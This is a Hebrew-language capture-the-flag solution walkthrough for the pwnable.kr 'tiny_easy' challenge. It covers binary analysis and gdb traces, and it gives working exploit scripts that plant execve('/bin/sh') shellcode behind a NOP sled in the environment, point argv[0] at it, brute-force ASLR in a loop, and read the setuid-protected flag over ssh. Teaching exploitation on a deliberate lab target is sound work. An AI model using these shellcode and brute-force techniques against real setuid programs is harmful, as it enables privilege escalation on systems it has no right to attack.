8.3 בינארי זעיר פתרון
פתרון - בינארי זעיר (tiny_easy)¶
נעבור על התרגילים לפי הסדר. הקו המנחה: כל האתגר הוא להבין את מצב התהליך ברגע הכניסה, ואז לנצל את העובדה שהקוד קופץ אל ערך שאנחנו שולטים בו דרך argv[0]. ה-shellcode עצמו יושב בסביבה, וכל מה שנשאר הוא לכוון את הקפיצה אליו.
פתרון תרגיל 1 - סקירה של הבינארי המינימלי¶
$ file tiny
tiny: ELF 32-bit LSB executable, Intel 80386, statically linked, stripped
$ wc -c tiny
132 tiny
$ checksec --file=tiny
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
$ readelf -h tiny | grep Entry
Entry point address: 0x8048054
$ readelf -l tiny
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
LOAD 0x000000 0x08048000 0x08048000 0x00084 0x00084 RWE 0x1000
שלושה דברים חשובים: הבינארי זערורי (132 בתים), יש מקטע LOAD יחיד בהרשאות RWE, ו-NX disabled.
למה ה-NX מכובה בלי שביקשנו: בפלט של readelf -l אין מקטע GNU_STACK. כשהמקטע הזה חסר, הkernel של לינוקס נופל להתנהגות READ_IMPLIES_EXEC - כל דף קריא הופך גם לניתן להרצה, כולל המחסנית. זה בדיוק מה שמאפשר לנו להריץ shellcode מהסביבה בהמשך. הכתובת 0x8048054 היא בדיוק 0x08048000 (בסיס הטעינה) ועוד 0x54 (52 בתים כותרת ELF ועוד 32 בתים כותרת תוכנית) - הקוד מתחיל מיד אחרי הכותרות, בלי שום אתחול.
פתרון תרגיל 2 - פירוק הקוד ומעקב אחרי eax¶
$ objdump -d tiny
08048054 <.text>:
8048054: 58 pop %eax
8048055: 58 pop %eax
8048056: 8b 00 mov (%eax),%eax
8048058: ff e0 jmp *%eax
מעקב אחרי eax, עם מפת המחסנית בכניסה (esp מצביע על argc):
esp -> argc, esp+4 -> argv[0], esp+8 -> argv[1], ...
pop eax ; eax = argc ; esp advances to argv[0]
pop eax ; eax = argv[0] ; points to the program name string
mov eax,[eax] ; eax = *(argv[0]) ; the first four bytes of the program name
jmp eax ; jump to this address
התשובה לשאלה 3: ההוראה האחרונה קופצת לכתובת שהיא ארבעת הבתים הראשונים של מחרוזת שם התוכנית. הערך מגיע ישירות מ-argv[0], ובזה אנחנו שולטים לגמרי.
בהרצה רגילה:
pwndbg> starti
pwndbg> ni
pwndbg> ni
pwndbg> ni # after mov eax,[eax]
pwndbg> p/x $eax
$1 = 0x69742e2e # "./ti" - the first four bytes of "./tiny"
pwndbg> ni # the jmp eax
Program received signal SIGSEGV, ... 0x69742e2e in ?? ()
הקריסה ב-eip = 0x69742e2e היא בדיוק ./ti בקידוד little-endian. זה מאשר: יעד הקפיצה נקבע לגמרי משם התוכנית.
למה זה חשוב: זו לא קריסה "אקראית". זו קריסה על רגיסטר שאנחנו שולטים בערכו. אם נחליף את שם התוכנית לכתובת שנבחר, נקפוץ לשם.
פתרון תרגיל 3 - מצב התהליך בכניסה ב-gdb¶
pwndbg> starti
pwndbg> x/8x $esp
0xffffd6a0: 0x00000001 0xffffd8b4 0x00000000 0xffffd8c9
0xffffd6b0: 0xffffd8f0 0x00000000 ...
pwndbg> x/s 0xffffd8b4 # argv[0]
0xffffd8b4: "/home/.../tiny"
pwndbg> x/s 0xffffd8c9 # envp[0]
0xffffd8c9: "..."
הערך הראשון ב-esp הוא argc = 1. אחריו argv[0] = 0xffffd8b4 (מצביע למחרוזת שם התוכנית), אחריו NULL שסוגר את מערך argv, ואחריו מצביעי envp. כשמכניסים משתנה סביבה מזהה ומחפשים אותו:
הוא יושב גבוה על המחסנית, בראש, יחד עם שאר מחרוזות הסביבה. זה בדיוק מה שההרצאה תיארה, ובדיוק המקום שבו נשתיל את ה-shellcode.
למה זה חשוב: אישרנו בעיניים שמחרוזות הסביבה יושבות בכתובת יציבה בראש המחסנית (כש-ASLR כבוי), ושיש שם מספיק מרחב למזחלת גדולה ול-shellcode.
פתרון תרגיל 4 - השתלת shellcode בסביבה וכיוון הקפיצה (מקומי)¶
מוצאים כתובת בתוך המזחלת ב-gdb, ואז מפעילים עם argv[0] נשלט:
#!/usr/bin/env python3
from pwn import *
context.clear(arch='i386')
sc = asm(shellcraft.i386.linux.sh()) # execve("/bin/sh", 0, 0)
env = {'PWN': b'\x90' * 0x10000 + sc} # giant nopsled + shellcode
target = 0xffffd800 # address deep inside the nopsled (from gdb)
p = process(['./tiny'], executable='./tiny',
argv=[p32(target)], env=env) # argv[0] = the address
p.sendline(b'id')
print(p.recvline())
p.interactive()
איך מצאנו את target: מריצים פעם עם gdb.attach (או starti ב-gdb), ומחפשים את המזחלת:
בוחרים כתובת בטוחה עמוק בתוך הטווח, למשל 0xffffd800. עם ASLR כבוי זה יעבוד יציב ונקבל:
למה זה עבד: הקוד עשה mov eax,[eax] על המצביע argv[0], קיבל את 0xffffd800, וקפץ לשם. הכתובת נחתה בתוך המזחלת שבסביבה, המעבד החליק על ה-nop-ים עד ה-shellcode, וזה רץ. המחסנית ניתנת להרצה בזכות היעדר GNU_STACK, אז אין SIGSEGV בקפיצה.
איך להכליל: כל אימת שאתם שולטים בערך שהתוכנית קופצת אליו, ויש לכם איפה לשים shellcode במרחב קריא-והרצה, המשחק זהה - מכוונים את הקפיצה אל ה-shellcode.
פתרון תרגיל 5 - התמודדות עם ASLR ולולאת brute force¶
מדליקים ASLR (echo 2 | sudo tee /proc/sys/kernel/randomize_va_space) - וההרצה הבודדת מפספסת, כי המחסנית זזה. הפתרון: אותה כתובת ניחוש קבועה, בלולאה:
#!/usr/bin/env python3
from pwn import *
context.clear(arch='i386')
context.log_level = 'error' # quiet during the brute force
sc = asm(shellcraft.i386.linux.sh())
env = {'PWN': b'\x90' * 0x10000 + sc}
target = 0xffffd800 # fixed guess inside the nopsled range
for attempt in range(4000):
p = process(['./tiny'], executable='./tiny',
argv=[p32(target)], env=env)
try:
p.sendline(b'echo HIT; id')
line = p.recvline(timeout=0.3)
if b'HIT' in line:
log.success('landed after %d tries', attempt)
p.interactive()
break
except EOFError:
pass
p.close()
בפועל זה נופל אחרי כמה מאות ניסיונות, בשניות. הגדלת המזחלת (למשל ל-0x40000) מורידה את מספר הניסיונות עוד יותר.
למה זה עבד: ASLR מגריל את בסיס המחסנית בכל הרצה, אבל האנטרופיה ב-32 ביט נמוכה, והמזחלת שלנו ענקית. בסופו של דבר, באחת ההרצות, המזחלת מתפרשת מעל הכתובת 0xffffd800 שקיבענו, הקפיצה נוחתת בתוכה, וה-shellcode רץ.
איך להכליל: brute force מול ASLR חלש הוא כלי לגיטימי ומהיר. מזחלת גדולה + כתובת קבועה + לולאה מנצחים כמעט תמיד ב-32 ביט. ב-64 ביט האנטרופיה גבוהה מדי לגישה הזו, ושם צריך leak של כתובת.
פתרון תרגיל 6 - פיצוח tiny_easy האמיתי על השרת¶
מתחברים, מעתיקים, ומאשרים שהמנגנון זהה:
$ ssh tiny_easy@pwnable.kr -p2222
$ cd /tmp && mkdir m_$RANDOM && cd $_
$ cp ~/tiny_easy .
$ objdump -d tiny_easy # confirms pop/pop/mov/jmp on eax
אם pwntools זמין, אותו סקריפט מתרגיל 5 עובד, רק שמכוונים אותו לבינארי ./tiny_easy. אם pwntools לא זמין על השרת, כותבים עטיפה קצרה ומריצים בלולאת shell:
#!/usr/bin/env python3
# wrap.py
import os, struct
target = 0xffffd800
sc = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
b"\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80") # execve("/bin/sh")
env = {'PWN': b'\x90' * 0x10000 + sc}
argv = [struct.pack('<I', target)]
os.execve('./tiny_easy', argv, env)
$ while true; do python3 wrap.py 2>/dev/null; done
$ id
uid=1017(tiny_easy) euid=1018(tiny_easy_pwn) ...
$ cat flag
ברגע שנפתח shell, cat flag מדפיס את הדגל. ה-shell רץ עם ה-euid של המשתמש המיוחס בזכות ביט ה-setuid של הבינארי, ולכן מותר לו לקרוא את flag.
למה זה עבד: המנגנון על השרת זהה למקומי - הקוד קופץ אל ארבעת הבתים הראשונים של argv[0], אנחנו שמים שם כתובת בתוך מזחלת ה-shellcode שבסביבה, וה-ASLR מנוטרל בעזרת הלולאה. ההבדל היחיד מהמקומי הוא שכאן הפרס הוא קובץ flag אמיתי בהרשאות מיוחסות.
איך להכליל: זו התבנית המלאה של אתגר setuid ב-pwnable.kr - קוראים/מפרקים את הבינארי, משחזרים מקומית, מפתחים exploit יציב, ומריצים על השרת כדי לקרוא את הדגל. tiny_easy מיוחד בכך שהחולשה כולה חבויה במצב הכניסה של התהליך, לא בקוד "אמיתי".
פתרון תרגיל 7 - להכליל את מה שלמדנו¶
-
מדוע ELF מינימלי נותן מחסנית ניתנת להרצה. קומפיילרים מודרניים תמיד מוסיפים מקטע
GNU_STACKעם דגלRW(בליE), שאומר לkernel להשאיר את המחסנית לא-ניתנת-להרצה. בינארי מינימלי שנבנה ביד מדלג על המקטע הזה, והkernel נופל ל-READ_IMPLIES_EXECהישן שהופך כל דף קריא לניתן להרצה. אילו הבינארי היה כוללGNU_STACKעםRWבלבד, ה-shellcode בסביבה היה מקבלSIGSEGVבקפיצה, והיינו צריכים ROP או ret2libc במקום shellcode. -
מקורות קלט מוקדמים נוספים. בבינארי כזה, כל מה שהkernel שם על המחסנית בכניסה הוא בשליטה חלקית שלנו:
argv(מספר וארגומנטים ותוכנם),envp(מספר משתני הסביבה, שמותיהם וערכיהם), וגם היסטים שנגזרים מהאורכים שלהם. גםargv[0]וגם משתני סביבה הם קלט "לפני main" שהתוקף קובע דרךexecve. auxv נקבע על ידי הkernel ופחות נשלט. -
מדוע shellcode בסביבה ולא ב-argv[0].
argv[0]חייב שארבעת הבתים הראשונים שלו יהיו כתובת הקפיצה, אז הם "תפוסים". אפשר היה לשרשר shellcode מיד אחרי ארבעת הבתים, אבל אז היינו צריכים לקפוץ אל תוךargv[0]עצמו - כתובת פחות יציבה ופחות נוחה לחישוב, ובלי מקום נדיב למזחלת. משתנה סביבה נותן לנו גוש רציף וגדול בראש המחסנית, שבו אפשר לשים מזחלת ענקית ו-shellcode בלי להתנגש בכתובת הקפיצה. זו הפרדת תפקידים נקייה:argv[0]מחזיק את הכתובת, הסביבה מחזיקה את הקוד.